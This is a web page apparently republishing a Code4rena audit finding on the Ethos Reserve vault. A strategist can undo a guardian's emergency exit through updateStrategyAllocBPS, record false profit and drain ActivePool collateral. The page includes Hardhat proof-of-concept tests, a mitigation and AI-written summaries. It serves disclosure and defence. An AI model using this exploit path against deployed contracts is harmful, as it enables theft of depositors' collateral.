Skip to content
Business logic Audit finding Advanced

updateStrategyAllocBPS() can cause loss of ActivePool’s collateral during an emergency exit

A lower-privileged strategist could reverse a guardian's emergency exit by calling updateStrategyAllocBPS with a non-zero value, causing the strategy's debt to be reduced and an incorrect profit to be recorded on the next harvest. This inflated the vault's share price, leading ActivePool to record a false profit that was distributed to Treasury, Staking Pool and Stability Pool, allowing depositors and stakers to withdraw funds and causing a loss of ActivePool's collateral.

peakbolt Follow with 0xsomeone, 0xbepresent and 4 others

Originally disclosed on Code4rena

Submitted by peakbolt, also found by 0xsomeone, 0xbepresent, codeislight, 0xbepresent, trustindistrust, and 0xTheC0der

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L191-L199 https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/abstract/ReaperBaseStrategyv4.sol#L123

The function updateStrategyAllocBPS() can cause ActivePool to record an incorrect profit after setEmergencyExit() is triggered.

Impact

The incorrect profit will cause a large portion of the ActivePool’s collateral to be distributed to Treasury, Staking Pool and Stability Pool. Depositors and Stakers can then withdraw the profits, leading to loss of ActivePool’s collateral.

Background

In Ethos Reserve, the Vault rehypothecates the collateral from ActivePool using one or more Strategy, which will deposit the funds in other protocols (e.g. lending pool) to farm for yields.

Only Guardian and above roles are able to trigger setEmergencyExit() on a specific Strategy to force it to exit all its position upon the next harvest, depositing all funds from lending pool into the Vault. How it works, is that setEmergencyExit() will trigger Vault to revokeStrategy(), setting the strategy’s allocBPS to 0. This sets Strategy allocation to 0 and increases Strategy’s debt, so that it will repay Vault all the funds. (see https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/abstract/ReaperBaseStrategyv4.sol#L156-L160)

Note that setEmergencyExit() is not reversible. I believe this is to protects funds from being re-deployed into the lending pool during an emergency situation (e.g. lending pool hacked or market crash). And it is different from Vault’s EmergencyShutdown, which is effected on all Strategies and is reversible.

Detailed Explanation

The issue is that, Strategist (a lower privilege role than Guardian) is able to reverse revokeStrategy() by calling updateStrategyAllocBPS() with a non-zero value to increase the strategy allocation. This will lead to a reduction of the strategy’s debt and cause an incorrect profit to be recorded when it liquidate its positions in the next harvest. Due to the incorrect profit, a fee will be charged on it and transferred to Treasury, leaving less funds for the Vault.

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L191-L199

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/abstract/ReaperBaseStrategyv4.sol#L123

Even worse, updateStrategyAllocBPS() will cause an increase to vault’s totalAllocated value during harvest(), while the incorrect profit is transferred to the Vault during harvest. Both of these changes will lead to a discrepancy in the vault’s totalAllocated and its token balance, causing the vault’s total balance to be incorrect and higher than actual. This leads to a higher share price.

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L521

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L528

With a higher share price, ActivePool’s owned asset value in the Vault will be inflated. This will cause ActivePool to record an incorrect profit in the next _rebalance(), and distrbute them to Treasury, Staking Pool and Stability Pool.

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/ActivePool.sol#L239-L309

Depositors and Stakers can then withdraw the profits, leading to loss of ActivePool’s collateral.

Proof of Concept

Add the following test case to Ethos-Vault/test/start-test.js. This shows that ActivePool’s asset value will be inflated due to the issue. The next test case will show that inflated asset value will cause ActivePool’s _rebalance() to record a profit and distribute them to the respective pools, that can be withdrawn.

it.only('updateStrategyAllocBPS can cause loss of ActivePool collateral during emergency exit', async function () {
  const {vault, strategy, want, wantHolder, strategyAddress, strategist, guardian} =
    await loadFixture(deployVaultAndStrategyAndGetSigners);
  // intialize guardian account with ETH for gas
  const tx = await strategist.sendTransaction({
    to: guardianAddress,
    value: ethers.utils.parseEther('0.1'),
  });
  await tx.wait();

  // Treasury owned asset value starts with zero
  const treasurySharesBefore = await vault.balanceOf(treasuryAddr);
  const treasuryAssetsBefore = await vault.convertToAssets(treasurySharesBefore);
  expect(treasuryAssetsBefore).to.equal(0);

  // ActivePool deposits 10 WBTC
  await vault.connect(wantHolder)['deposit(uint256)'](toWantUnit('10'));
  await strategy.harvest();

  // Expect ActivePool's owned share and asset to be equal to 10 WBTC as deposited
  const activePoolSharesBefore = await vault.balanceOf(wantHolder.address);
  const activePoolAssetsBefore = await vault.convertToAssets(activePoolSharesBefore);
  expect(activePoolSharesBefore).to.equal(toWantUnit('10'));
  expect(activePoolAssetsBefore).to.equal(toWantUnit('10'));

  /* Guardian calls setEmergencyExit().
  *  This triggers Vault to revokeStrategy() and set strategy's allocBPS to 0.
  *  By design, this will force strategy to exit all its position and
  *  return funds to vault in the next harvest().
  */
  await strategy.connect(guardian).setEmergencyExit();

  /* Strategist set AllocBPS back to 10000 (100%).
  *  This will reverse the revokeStrategy() and cause strategy's debt value
  *  to be reduced in next harvest()
  */
  await vault.connect(strategist).updateStrategyAllocBPS(strategy.address, 10000);

  /* Strategy will liquidate all its position due to emergency exit state.
  * However, it will also record an incorrect profit due to reduced debt value.
  */
  await strategy.harvest();

  // Jump ahead for incorrect profit to unlock
  await moveTimeForward(3600*7);

  // Treasury will gain fees of 1.56 WBTC on the incorrect profit value
  const treasurySharesAfter = await vault.balanceOf(treasuryAddr);
  const treasuryAssetsAfter = await vault.convertToAssets(treasurySharesAfter);
  expect(treasuryAssetsAfter).to.not.equal(treasuryAssetsBefore);
  expect(treasuryAssetsAfter).to.equal(156880733);

  // ActivePool's owned asset value is incorrectly inflated
  // This is due to increased share price from the incorrect profit and wrong accounting from allocBPS
  const activePoolSharesAfter = await vault.balanceOf(wantHolder.address);
  const activePoolAssetsAfter = await vault.convertToAssets(activePoolSharesAfter);
  expect(activePoolAssetsAfter).to.equal("1743119266");
  expect(activePoolAssetsAfter).to.not.equal(activePoolAssetsBefore);

  /* ActivePool will record a profit of 7.43 WBTC (74% of initial deposit) due to the inflated asset value
  *  In the next ActivePool's _rebalance(), the  incorrect profit will be distributed to Treasury,
  *  Staking Pool and StabilityPool.
  *  Depositors and Stakers will be able to withdraw the profits, leading to loss of borrowers's collateral.
  */
  const estimatedActivePoolProfit = activePoolAssetsAfter - activePoolAssetsBefore;
  expect(estimatedActivePoolProfit).to.be.equal(743119266);

});

Add the following test case to Ethos-Core/test/PoolsTest.js. Note that this is an test independent from the preivous test case just to show that ActivePool will record a profit when the share asset value increases, and the profit will be distributed to the respective pools.

it.only('simulate incorrect profit to show that _rebalance() called by sendCollateral() will distributes profit', async () => {
	await setReasonableDefaultStateForYielding();

	// Simulate incorrect profit: mint 1 ether to vault.
	// This will increase the vault share price and inflate the ActivePool's owned asset value.
	await collaterals[0].mint(vaults[0].address, dec(1, 'ether'))

	// Trigger ActivePool's _rebalance() via sendCollateral().
	// ActivePool will record a profit due to the inflated owned asset value.
	const sendCollData = th.getTransactionData('sendCollateral(address,address,uint256)',
	  [collaterals[0].address, alice, web3.utils.toHex(dec(1, 'ether'))])
	await mockBorrowerOperations.forward(activePool.address, sendCollData, { from: owner })

	// The incorrect profit will be distributed to Treasury, StabilityPool and Staking Pool
	assert.equal((await collaterals[0].balanceOf(treasury.address)).toString(), '200000000000000000') // 0.2 ether
	assert.equal((await collaterals[0].balanceOf(stabilityPool.address)).toString(), '300000000000000000') // 0.3 ether
	assert.equal((await collaterals[0].balanceOf(lqtyStaking.address)).toString(), '500000000000000000') // 0.5 ether
})

Recommended Mitigation Steps

The fix is to block all changes to strategy’s allocBPS after setEmergencyExit().

Since allocBPS is already tracked within ReaperVaultV2.sol, it is better to refactor and shift emergencyExit from ReaperBaseStrategyv4.sol to ReaperVaultV2.StrategyParams. With that, the fix can simply just to add a check for emergency exit within updateStrategyAllocBPS().

tess3rac7 (Ethos Reserve) disagreed with severity, but confirmed via duplicate issue #716

Trust (judge) decreased severity to Medium


The original report as published on Code4rena, by peakbolt. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the updateStrategyAllocBPS function does not check whether the strategy is in emergency exit, allowing a strategist to reverse the revokeStrategy call and reduce the strategy's debt, which creates an incorrect profit during harvest.

Impact

A large portion of ActivePool's collateral could be distributed as fake profit and withdrawn by depositors and stakers, causing a loss of collateral; the report notes that only Guardian and above can trigger the emergency exit, but a strategist can reverse it.

What the attacker needed

Strategist role; guardian triggers emergency exit first

The fix

The fix is to block all changes to a strategy's allocBPS after setEmergencyExit has been called, for example by moving the emergency exit flag into the vault and checking it in updateStrategyAllocBPS.

How it was found

  1. ActivePool deposits collateral into the vault and the strategy harvests it.
  2. Guardian calls setEmergencyExit on the strategy, which triggers revokeStrategy and sets allocBPS to 0.
  3. Strategist calls updateStrategyAllocBPS with a non-zero value, reversing the revoke and reducing the strategy's debt.
  4. Strategy harvests, liquidating its position but recording an incorrect profit due to the reduced debt.
  5. After a time jump, the incorrect profit unlocks and Treasury gains fees.
  6. ActivePool's owned asset value is inflated, and a later rebalance distributes the false profit to Treasury, Staking Pool and Stability Pool.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this system, a vault lends its funds to strategies to earn yield. A guardian can trigger an emergency exit to force a strategy to return all funds, but a strategist could undo part of that exit by changing an allocation setting. This made the vault think it had earned more than it actually had, so it paid out fake profits that could be withdrawn, leaving less collateral for borrowers.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by peakbolt

View all

16 more disclosed reports, best first.

More from Ethos Reserve contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.